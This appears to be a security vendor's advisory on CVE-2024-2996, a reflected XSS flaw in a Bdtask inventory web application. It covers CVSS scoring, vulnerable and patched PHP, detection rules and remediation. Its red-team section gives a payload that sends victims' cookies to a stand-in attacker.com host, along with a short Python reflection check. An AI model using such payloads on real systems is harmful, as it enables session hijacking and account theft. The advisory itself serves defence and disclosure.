CVE-2024-2996
Executive Summary
CVE-2024-2996 is a reflected Cross-Site Scripting (XSS) vulnerability in the Bdtask Multi-Store Inventory Management System, affecting versions up to 20240320. The flaw resides in the Page Title Handler component, where user-supplied input is not properly sanitized before being reflected in the page title. An attacker can craft a malicious link that, when clicked by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. The CVSS score is 2.4 (Low), but the public availability of an exploit and the vendor's lack of response elevate the risk for unpatched deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP-based web application, not an NPM, PyPI, Go, or Ruby package. The vulnerability is in the application's own code, not in a third-party library. However, the vendor's failure to respond to disclosure means the supply chain risk is high for any organization using this software without internal patching.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely over HTTP.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click the malicious link.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): Low (L) – The attacker can modify the page content via XSS.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Low (CVSS 2.4). However, the public exploit and lack of patch make it a moderate risk for organizations using this software.
Deep Dive & Mechanics
The vulnerability is in the Page Title Handler of the Bdtask Multi-Store Inventory Management System. The application likely uses a function like htmlspecialchars() or strip_tags() incorrectly, or omits sanitization entirely when setting the <title> tag from a URL parameter (e.g., ?title=...). When a user visits a crafted URL like:
http://target.com/index.php?title=<script>alert('XSS')</script>
The unsanitized input is reflected in the HTML <title> tag, causing the browser to execute the injected script. Since the title is often rendered in the browser tab and may be used in other contexts (e.g., history, bookmarks), the XSS can be triggered without the victim even viewing the page body.
The exploit is trivial: an attacker sends a phishing email or link to an authenticated user. When the user clicks the link, the script executes, potentially stealing session cookies, performing actions on behalf of the user, or defacing the page.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$title = $_GET['title'];
echo "<title>$title</title>";
?>
Patched Code (Conceptual):
<?php
$title = htmlspecialchars($_GET['title'], ENT_QUOTES, 'UTF-8');
echo "<title>$title</title>";
?>
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy a vulnerable instance of Bdtask Multi-Store Inventory Management System (version 20240320 or earlier) on a local VM.
- Craft Payload: Create a URL that injects a JavaScript payload into the page title:
http://target.com/index.php?title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to a victim (e.g., via email or social engineering).
- Exfiltrate: Set up a listener on
attacker.comto capture the cookie.
Example Exploit (Python):
import requests
target = "http://target.com/index.php"
payload = "<script>alert('XSS')</script>"
params = {'title': payload}
response = requests.get(target, params=params)
print(response.text) # Confirm the payload is reflected
Blue Team (Defense & Detection)
- Monitor Logs: Look for HTTP requests with suspicious
titleparameters containing<script>oronerrortags. - WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns in query strings.
- Input Validation: Implement server-side sanitization using
htmlspecialchars()or a dedicated XSS filter. - User Training: Educate users not to click on suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/index.phpwith atitleparameter containing<script>,onerror,onload, or other event handlers. - Outbound connections to unknown domains (data exfiltration).
- HTTP GET requests to
- Host IOCs:
- Unexpected JavaScript execution in the browser (visible via developer console).
- Modified page titles in browser history.
- File IOCs:
- No file-based IOCs; this is a client-side attack.
Detection Engineering
YARA Rule
rule CVE_2024_2996_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting Bdtask Multi-Store Inventory Management System"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-2996"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$title_param = "title="
condition:
$title_param and $xss_payload
}
Sigma Rule
title: CVE-2024-2996 Reflected XSS in Bdtask Inventory System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with XSS payloads in the 'title' parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'title='
cs-uri-query|re: '<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in title (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2996 Reflected XSS in Bdtask Inventory System";
flow:to_server,established;
content:"GET"; http_method;
content:"title="; http_uri;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-2996;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable feature: If possible, remove or disable the Page Title Handler functionality until a patch is available.
- Input Sanitization: Manually patch the code by adding
htmlspecialchars()to thetitleparameter in the affected PHP file. - WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in query strings.
Long-Term Actions:
- Vendor Contact: Continue attempting to contact the vendor (Bdtask) for an official patch.
- Code Audit: Perform a full security audit of the application for similar XSS vulnerabilities.
- Upgrade: If a patched version becomes available, upgrade immediately.
Workaround: If patching is not possible, restrict access to the application using a VPN or IP whitelisting to reduce the attack surface.
Valters IT – Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.